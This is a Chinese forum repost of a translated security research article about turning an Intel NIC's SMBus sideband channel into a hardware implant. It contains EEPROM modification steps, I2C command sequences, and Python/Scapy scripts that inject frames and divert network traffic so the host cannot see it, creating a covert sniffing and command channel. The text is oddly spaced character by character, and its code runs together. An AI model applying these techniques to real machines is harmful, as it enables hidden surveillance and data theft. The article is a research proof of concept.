搜索

[13527] 2018-12-13_搭建自己的硬件植入工具

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2018-12-13_搭建自己的硬件植入工具 搭 建 自 己 的 硬 件 植 入 工 具 周 大 涛   F r e e B u f   2 0 1 8 - 1 2 - 1 3 开 始 开 始 让 我 们 首 先 看 一 下 N I C 和 B M C 之 间 的 可 能 接 口 。 主 要 协 议 之 一 是 I P M I 。 I P M I 参 考 维 基 百 科 ： “ 智 能 平 台 管 理 接 口 （ I P M I ） 是 一 组 计 算 机 接 口 规 范 ， 用 于 自 主 计 算 机 子 系 统 ， 提 供 独 立 于 主 机 系 统 的 C P U ， 固 件 （ B I O S 或 U E F I ） 和 操 作 系 统 的 管 理 和 监 视 功 能 。 ” 框 图 还 显 示 了 可 能 的 路 径 如 下 ： 实 际 上 ， I P M I   为 N I C   定 义 了 两 个 边 带 通 道 ： S M B u s 和 N C - S I 。 N C - S I 是 S M B u s 的 现 代 替 代 品 ， 可 实 现 更 快 的 传 输 速 率 和 其 他 新 功 能 。 问 题 是 它 需 要 更 多 信 号 （ 大 约 1 0 个 ） ， 这 在 硬 件 植 入 的 情 况 下 更 难 以 干 扰 。 所 以 ， 我 们 坚 持 使 用 S M B u s 。 S M B u s 根 据 维 基 百 科 的 说 法 ， 系 统 管 理 总 线 （ S M B u s ） 是 一 种 单 端 简 单 的 双 线 总 线 ， 用 于 轻 量 级 通 信 。 最 常 见 的 是 在 电 脑 主 板 发 现 与 O N   /   O F F 指 示 电 源 的 沟 通 。 ” 。 它 源 于 I ² C 协 议 ， 它 通 常 在 许 多 微 控 制 器 上 找 到 。 此 接 口 仅 需 要 两 个 信 号 （ 时 钟 和 数 据 ） ， 第 三 个 信 号 用 于 异 步 警 报 。 这 看 起 来 像 是 我 们 植 入 物 的 完 美 协 议 。 第 一 次 接 触 第 一 次 接 触 由 于 无 法 使 用 带 有 B M C 的 主 板 ， 我 们 必 须 想 其 他 方 法 。 在 查 看 服 务 器 主 板 数 据 表 时 ， 我 们 发 现 其 中 一 些 使 用 了 I n t e l 8 2 5 7 4 L 芯 片 。 根 据 数 据 表 ， 该 芯 片 允 许 “ S M B u s 高 级 直 通 接 口 ” ， 这 正 是 我 们 所 需 要 的 。 更 重 要 的 是 ， 它 可 以 作 为 P C I - E 卡 使 用 。
访 问 访 问 S M B u s 我 们 现 在 有 一 些 带 有 8 2 5 7 4 L 芯 片 的 I n t e l   E X P I 9 3 0 1 C T B L K 卡 。 现 在 怎 么 办 呢 ? 回 到 数 据 表 ， 我 们 可 以 定 位 和 跟 踪 S M B _ D A T 、 S M B _ A L R T _ N 和 整 个 P C B 。 幸 运 的 是 ， 它 们 在 h e a d e r 中 是 可 用 的 。 我 们 连 接 了 I ² C 探 针 并 扫 描 了 S M B u s ， 但 没 有 任 何 有 用 的 东 西 可 以 读 取 。 读 数 据 表 显 示 只 有 在 设 置 了 特 定 的 寄 存 器 位 时 才 会 使 能 S M B u s 。 该 值 从 板 载 E E P R O M 加 载 。 是 时 候 深 入 挖 掘 了 。 在 卡 片 上 启 用 在 卡 片 上 启 用 S M B u s 访 问 访 问 同 样 ， 查 看 数 据 表 。 S M B u s 访 问 似 乎 受 限 于 从 N I C   E E P R O M 加 载 的 特 定 寄 存 器 值 。 幸 运 的 是 ， E E P R O M 可 以 通 过 f l a s h r o m 读 取 。 倾 倒 E E P R O M 内 容 后 ， 我 们 可 以 对 其 进 行 分 析 ， 改 变 其 值 : 从 N V M 地 图 看 到 ， 我 们 需 要 更 改 两 个 值 ： 1 . I n i t   C o n t r o l   W o r d   2   [   M N G M ] ； 2 . 兼 容 性 [ A S F   S M B u s 已 连 接 ] ； 3 . 兼 容 性 [ S M B u s 已 连 接 ] ； 请 注 意 ， E E P R O M 中 的 字 以 小 端 格 式 存 储 ， 因 此 必 须 相 应 地 更 改 值 。 完 成 后 ， 我 们 仍 然 需 要 处 理 C h e c k s u m 字 。 [ 0 x 0 0 - 0 x 4 0 ] 范 围 内 所 有 字 的 总 和 必 须 等 于 0 x B A B A 。 P y t h o n 帮 助 我 们 计 算 正 确 的 校 验 和 ： 最 后 ， 我 们 对 E E P R O M 做 了 如 下 更 改 ： >   . / f l a s h r o m   - p   b u s p i r a t e _ s p i : d e v = / d e v / h y d r a b u s   - - r e a d   / t m p / f l a s h . d u m p f l a s h r o m   p 1 . 0 - 8 7 - g 9 8 9 1 b 7 5 - d i r t y   o n   L i n u x   4 . 1 8 . 1 2 - a r c h 1 - 1 - A R C H   ( x 8 6 _ 6 4 ) f l a s h r o m   i s   f r e e   s o f t w a r e ,   g e t   t h e   s o u r c e   c o d e   a t   h t t p s : / / f l a s h r o m . o r g U s i n g   c l o c k _ g e t t i m e   f o r   d e l a y   l o o p s   ( c l k _ i d :   1 ,   r e s o l u t i o n :   1 n s ) . F o u n d   W i n b o n d   f l a s h   c h i p   " W 2 5 X 4 0 "   ( 5 1 2   k B ,   S P I )   o n   b u s p i r a t e _ s p i . R e a d i n g   f l a s h . . .   d o n e . i m p o r t   s t r u c t d a t a   =   o p e n ( ' / t m p / f l a s h . m o d ' ,   ' r b ' ) . r e a d ( ) t o t   =   0 f o r   i   i n   r a n g e ( 0 x 3 f ) :         t o t   =   ( t o t   +   s t r u c t . u n p a c k ( ' < H ' , d a t a [ 2 * i : ( 2 * i ) + 2 ] ) [ 0 ] )   &   0 x f f f f p r i n t ( " C h e c k s u m   w o r d   m u s t   b e   :   "   +   h e x ( 0 x b a b a - t o t ) ) # C h e c k s u m   w o r d   m u s t   b e   :   0 x 9 e f b
一 旦 完 成 更 改 并 闪 存 到 E E P R O M ， 我 们 连 接 I ² C 探 头 ： 注 意 ， 由 于 I ² C 地 址 是 以 7 位 编 码 的 ， 我 们 需 要 使 用 作 为 地 址 , 我 们 现 在 有 一 个 工 作 设 置 我 们 的 植 入 物 。 我 们 现 在 可 以 开 始 向 N I C 发 送 一 些 命 令 ： 获 取 信 息 获 取 信 息 我 们 继 续 读 取 数 据 表 ， 并 向 N I C 发 送 精 心 制 作 的 命 令 ， 以 验 证 一 切 正 常 。 同 样 ， 数 据 表 在 8 . 4 . 4 章 中 解 释 了 我 们 需 要 了 解 的 关 于 事 务 格 式 的 所 有 内 容 。 唯 一 的 区 别 是 我 们 不 需 要 计 算 P E C ( 为 每 个 包 计 算 的 S M B u s 校 验 和 ) 。 例 如 ， 我 们 可 以 使 用 以 下 顺 序 将 命 令 C M D 发 送 到 地 址 @ S L A V E : [ S T A R T ] 和 [ S T O P ] 是 I ² C 协 议 定 义 的 S T A R T 和 S T O P 条 件 。 例 如 ， 读 取 M A C 地 址 的 命 令 是 0 x D 4 。 在 I ² C 模 式 下 发 送 S M B u s 命 令 如 下 ： 翻 译 成 H y d r a b u s 命 令 ， 就 是 ： <   0 0 0 0 0 0 0 0 :   6 8 0 5   c a 8 9   b 2 2 e   2 0 0 4   4 6 f 7   8 0 1 0   f f f f   f f f f   h . . . . .   . F . . . . . . . >   0 0 0 0 0 0 0 0 :   6 8 0 5   c a 8 9   b 2 2 e   3 0 1 4   4 6 f 7   8 0 1 0   f f f f   f f f f   h . . . . . 0 . F . . . . . . . <   0 0 0 0 0 0 1 0 :   6 9 e 4   0 8 8 1   6 b 0 2   1 f a 0   8 6 8 0   d 3 1 0   f f f f   5 a 9 c   i . . . k . . . . . . . . . Z . >   0 0 0 0 0 0 1 0 :   6 9 e 4   0 8 8 1   6 b 0 2   1 f a 0   8 6 8 0   d 3 1 0   f f f f   5 a d c   i . . . k . . . . . . . . . Z . <   0 0 0 0 0 0 7 0 :   f f f f   f f f f   f f f f   f f f f   f f f f   3 0 0 1   f f f f   0 b e f   . . . . . . . . . . 0 . . . . . >   0 0 0 0 0 0 7 0 :   f f f f   f f f f   f f f f   f f f f   f f f f   3 0 0 1   f f f f   f b 9 e   . . . . . . . . . . 0 . . . . . i 2 c 1 >   s c a n D e v i c e   f o u n d   a t   a d d r e s s   0 x 4 9 i 2 c 1 > 0 x 4 9   < <   1   =   0 x 9 2 [ S T A R T ]   [ @ S L A V E ]   [ C M D ]   (   [ S T A R T ]   [ @ S L A V E ]   [ R E A D _ D A T A ]   )   [ S T O P ] [ S T A R T ]   [ 0 x 9 2 ]   [ 0 x D 4 ]   [ S T A R T ]   [ 0 x 9 2 ]   [ r e a d   8   b y t e s ]   [ S T O P ] i 2 c 1 >   [   0 x 9 2   0 x d 4   [   0 x 9 2   h d : 2   h d : 6   ] I 2 C   S T A R T W R I T E :   0 x 9 2   A C K   0 x D 4   A C K                         < = =   [ N I C   a d d r e s s ]   [ c o m m a n d ] I 2 C   S T A R T                                                       < = =   S w i t c h   s t a t e   W R I T E :   0 x 9 2   A C K                                           < = =   [ N I C   a d d r e s s ] 0 7   D 4   |   . .                                                     < = =   R e a d   [ l e n g t h ]   [ h e a d e r ] 6 8   0 5   C A   8 9   B 2   2 E   |   h . . . . .                     < = =   R e a d   M A C   a d d r e s s   b y t e s N A C K I 2 C   S T O P
创 建 植 入 物 创 建 植 入 物 现 在 我 们 知 道 如 何 与 我 们 的 N I C 通 信 ， 让 我 们 看 看 我 们 如 何 实 际 使 用 此 通 道 来 窃 取 网 络 流 量 并 发 送 一 些 。 同 样 ， 数 据 表 的 第 8 章 解 释 了 我 们 所 需 要 的 一 切 ， 以 便 做 我 们 想 要 的 。 发 送 数 据 包 发 送 数 据 包 我 们 可 以 使 用 命 令 简 单 地 生 成 以 太 网 帧 。 以 下 是 H y d r a b u s 或 B u s   P i r a t e 发 送 数 据 包 的 示 例 脚 本 ： 一 旦 脚 本 被 执 行 ， 我 们 可 以 看 到 来 自 植 入 机 器 的 数 据 包 ， 但 最 有 趣 的 是 植 入 的 主 机 根 本 看 不 到 ： [ 攻 击 者 机 器 左 上 角 的 t c p d u m p 。 植 入 的 机 器 位 于 右 上 方 。 读 包 读 包 过 滤 过 滤 为 了 知 道 哪 些 帧 转 到 S M B u s ,   N I C , 可 以 使 用 可 管 理 性 过 滤 器 匹 配 来 自 网 络 的 流 量 。 1 . 我 们 可 以 通 过 设 置 与 流 量 匹 配 的 过 滤 器 并 将 它 们 转 发 到 P C I e 和 S M B u s 来 嗅 探 流 量 。 i m p o r t   s e r i a l   i m p o r t   s t r u c t f r o m   s c a p y . a l l   i m p o r t   * s e r   =   s e r i a l . S e r i a l ( ' / d e v / t t y A C M 0 ' , 1 1 5 2 0 0 ) d e f   s e n d _ f r a m e ( p k t ) :         #   D e f i n e   t h e   f r a m e   s i z e         p k t l e n   =   s t r u c t . p a c k ( " B " ,   l e n ( p k t ) )         #   D e f i n e   t h e   d a t a   l e n g t h   t o   b e   s e n t         f u l l l e n   =   s t r u c t . p a c k ( " > h " ,   l e n ( p k t ) + 3 )         #   I 2 C   w r i t e - t h e n - r e a d .   S e n d   f r a m e   +   S M B u s   h e a d e r ,   r e c e i v e   0         s e r . w r i t e ( ' x 0 8 ' + f u l l l e n + ' x 0 0 x 0 0 ' )         s e r . w r i t e ( " x 9 2 x c 4 " + p k t l e n + p k t )         #   I f   p a c k e t   h a s   b e e n   s e n t   s u c c e s s f u l l y         i f   s e r . r e a d ( 1 )   = =   ' x 0 1 ' :                 p r i n t   " S e n d   O K "         e l s e :                 p r i n t   " E r r o r   s e n d i n g "                 s e r . w r i t e ( ' x 0 0 ' )                 s e r . w r i t e ( ' x 0 0 ' )                 s e r . w r i t e ( ' x 0 F n ' )                 q u i t ( ) #   O p e n   H y d r a b u s   i n   b i n a r y   m o d e f o r   i   i n   x r a n g e ( 2 0 ) :         s e r . w r i t e ( " x 0 0 " )         i f   " B B I O 1 "   n o t   i n   s e r . r e a d ( 5 ) :                 p r i n t   " C o u l d   n o t   g e t   i n t o   b i n a r y   m o d e "                 q u i t ( ) #   S w i t c h   t o   I 2 C   m o d e s e r . w r i t e ( ' x 0 2 ' ) i f   " I 2 C 1 "   n o t   i n   s e r . r e a d ( 4 ) :         p r i n t   " C a n n o t   s e t   I 2 C   m o d e "         q u i t ( ) # C r e a t e   t h e   f r a m e   t o   s e n d p   =   E t h e r ( ) / I C M P ( ) # S e n d   t h e   f r a m e s e n d _ f r a m e ( s t r ( p ) ) #   R e t u r n   t o   m a i n   b i n a r y   m o d e s e r . w r i t e ( ' x 0 0 ' ) # r e s e t   t o   c o n s o l e   m o d e s e r . w r i t e ( ' x 0 F n ' )
2 . 我 们 可 以 通 过 将 流 量 路 由 到 S M B u s 来 使 流 量 消 失 。 3 . 我 们 可 以 创 建 一 个 植 入 主 机 看 不 到 的 隐 蔽 通 道 。 最 重 要 的 是 ， 过 滤 选 项 可 以 匹 配 各 种 框 架 元 素 ： （ 1 ） U D P   /   T C P 端 口 （ 2 ） V L A N 3 . I P v 4   -   I P v 6 4 . M A C 地 址 实 现 实 现 要 正 确 设 置 所 有 内 容 是 相 当 困 难 的 ， 我 们 尝 试 了 许 多 不 同 的 组 合 ， 以 便 过 滤 工 作 。 幸 运 的 是 ， I n t e l 的 应 用 程 序 说 明 为 我 们 提 供 了 更 多 关 于 如 何 以 我 们 需 要 的 方 式 启 动 过 滤 器 的 细 节 。 我 们 可 以 设 置 所 有 使 用 四 个 命 令 ： r e c e i v e   e n a b l e 命 令 需 要 设 置 一 些 位 来 启 用 接 收 ， 以 及 用 来 将 帧 发 送 回 我 们 的 i m p l a n t 的 方 法 。 我 们 选 择 了 S M B u s 警 报 ， 因 为 其 他 模 式 允 许 N I C 在 S M B u s 上 执 行 异 步 请 求 。 了 解 框 架 了 解 框 架 因 为 我 们 使 用 了 S M B u s 警 告 方 法 ， 所 以 在 发 送 R e c e i v e   T C O 包 命 令 之 前 ， 我 们 需 要 等 待 S M B _ A L R T _ N 信 号 关 闭 。 如 果 我 们 等 待 太 久 ， 数 据 包 将 从 网 卡 中 丢 弃 。 在 本 例 中 ， 我 们 只 是 周 期 性 地 发 送 以 太 网 帧 并 发 送 读 命 令 ， 以 确 认 该 原 理 是 有 效 的 。 我 们 的 设 置 如 下 ： 1 . 植 入 的 主 机 具 有 过 滤 器 来 匹 配 来 自 U D P 端 口 6 2 3 的 流 量 ； 2 . 植 入 物 由 H y d r a b u s 模 拟 ； 3 . 另 一 台 主 机 正 在 发 送 与 过 滤 器 匹 配 的 数 据 包 ， 该 数 据 包 使 用 以 下 S c a p y 脚 本 ： 结 果 非 常 有 趣 ： 在 左 边 ， 我 们 可 以 看 到 读 取 框 架 的 S M B u s 命 令 ， 以 及 包 含 在 下 面 的 框 架 中 的 数 据 。 在 右 侧 ， 在 植 入 的 主 机 上 运 行 的 t c p d u m p 不 显 示 任 何 传 入 帧 。 传 送 帧 传 送 帧 通 过 更 改 M A N C 2 H 寄 存 器 ， 可 以 将 流 量 发 送 到 S M B u s ， 同 时 P C I e 允 许 主 机 正 确 读 取 帧 。 例 如 ， 让 我 们 创 建 一 个 匹 配 / / D i s a b l e   f i l t e r i n g   g l o b a l l y [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 0   ] / / C o n f i g u r e   M D E F [ 0 ]   t o   r e c e i v e   f r a m e s   c o m i n g   t o   U D P / 6 6 4   a n d   U D P / 6 2 3 [   0 x 9 2   0 x c c   0 x 0 6   0 x 6 1   0 x 0 0   0 x 0 0   0 x 0 0   0 x 0 c   0 x 0 0   ] / / C o n f i g u r e   M A N C 2 H   t o   d i s a l l o w   f o r w a r d i n g   t o   t h e   O S [   0 x 9 2   0 x c c   0 x 0 5   0 x 0 a   0 x 0 0   0 x 0 0   0 x 0 0   0 x 0 0   ] / /   E n a b l e   f i l t e r i n g   ( S M B u s   a l e r t i n g ,   s t a t u s   r e p o r t i n g   /   E n a b l e ) [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 5   ] f r o m   s c a p y . a l l   i m p o r t   * p = E t h e r ( ) / I P ( d s t = " 1 0 . 3 1 . 3 2 . 8 1 " ) / U D P ( d p o r t = 0 x 2 6 f ) / " M A L I C I O U S   P A Y L O A D " w h i l e ( 1 ) : s e n d p ( p )
U D P / 1 6 1   ( S N M P ) 流 量 的 捕 获 过 滤 器 ， 并 将 其 转 发 给 S M B u s 和 P C I e : 现 在 我 们 已 经 运 行 了 过 滤 器 ， 我 们 可 以 向 植 入 的 主 机 发 送 一 个 S N M P 查 询 ， 并 看 到 植 入 所 捕 获 的 包 。 注 意 ， 植 入 的 主 机 响 应 查 询 ， 即 数 据 包 正 确 发 送 到 S M B u s 和 P C I e ： 结 论 结 论 在 这 篇 文 章 中 ， 我 们 描 述 了 一 种 可 能 的 方 法 ， 可 以 将 小 而 廉 价 的 微 控 制 器 用 作 N I C 级 别 的 植 入 物 。 这 种 植 入 需 要 至 少 四 个 引 脚 （ V c c ， G N D ， C L K ， D A T ） 才 有 用 ， 并 允 许 控 制 主 机 N I C 。 这 种 植 入 物 的 功 能 是 ： 1 . 嗅 探 来 自 主 机 的 网 络 流 量 ； 2 . 在 没 有 主 机 知 道 的 情 况 下 从 网 络 接 收 命 令 ； 3 . 在 没 有 主 机 注 意 的 情 况 下 将 数 据 传 输 到 网 络 。 这 个 例 子 使 用 H y d r a b u s 作 为 I ² C /   S M B u s 的 接 口 ， 为 了 简 单 起 见 ， 但 在 像 A T t i n y 8 5 这 样 的 小 型 微 控 制 器 上 实 现 相 同 的 功 能 （ 几 乎 与 N I C 的 E E P R O M 大 小 相 同 ） 也 同 样 容 易 。 然 而 ， 在 实 际 情 况 下 ， 这 样 的 植 入 物 只 能 访 问 S M B u s 。 根 据 主 板 设 计 ， 这 可 能 是 唯 一 可 访 问 的 设 备 ， 因 此 无 法 与 主 机 操 作 系 统 进 行 交 互 。 在 需 要 完 全 操 作 系 统 受 损 的 情 况 下 ， 修 改 B M C 代 码 将 是 最 佳 选 择 ， 因 为 它 已 经 可 以 访 问 所 有 有 趣 的 总 线 并 且 不 会 在 主 板 上 留 下 任 何 可 见 的 占 用 空 间 。 这 种 植 入 物 的 另 一 个 缺 点 是 它 只 能 以 大 约 1 0 0 K b   / 秒 的 速 度 获 得 数 据 ， 这 不 足 以 进 行 全 面 的 检 查 。 最 重 要 的 是 ， 植 入 物 只 能 捕 获 来 自 网 络 的 流 量 。 与 将 其 实 现 到 目 标 硬 件 所 需 的 努 力 相 比 ， 这 使 得 该 解 决 方 案 的 效 率 有 些 低 。 * 参 考 来 源 k u d e l s k i s e c u r i t y ， 周 大 涛 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M / / D i s a b l e   f i l t e r i n g   g l o b a l l y [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 0   ] / / C r e a t e   t h e   f l e x   p o r t   f i l t e r   0   o n   p o r t   1 6 1   ( 0 x a 1 ) [   0 x 9 2   0 x c c   0 x 0 4   0 x 6 3   0 x 0 0   0 x 0 0   0 x a 1   ] / / C o n f i g u r e   M D E F [ 0 ]   t o   a c c e p t   t r a f f i c   m a t c h i n g   f l e x   f i l t e r   0 [   0 x 9 2   0 x c c   0 x 0 6   0 x 6 1   0 x 0 0   0 x 0 0   0 x 0 0   0 x 1 0   0 x 0 0   ] / / C o n f i g u r e   M A N C 2 H   t o   a l l o w   f o r w a r d i n g   M D E F [ 0 ]   t r a f f i c   t o   P C I e [   0 x 9 2   0 x c c   0 x 0 5   0 x 0 a   0 x 0 0   0 x 0 0   0 x 0 0   0 x 0 0   ] / /   E n a b l e   f i l t e r i n g   ( S M B u s   a l e r t i n g ,   s t a t u s   r e p o r t i n g   /   E n a b l e ) [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 5   ]
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理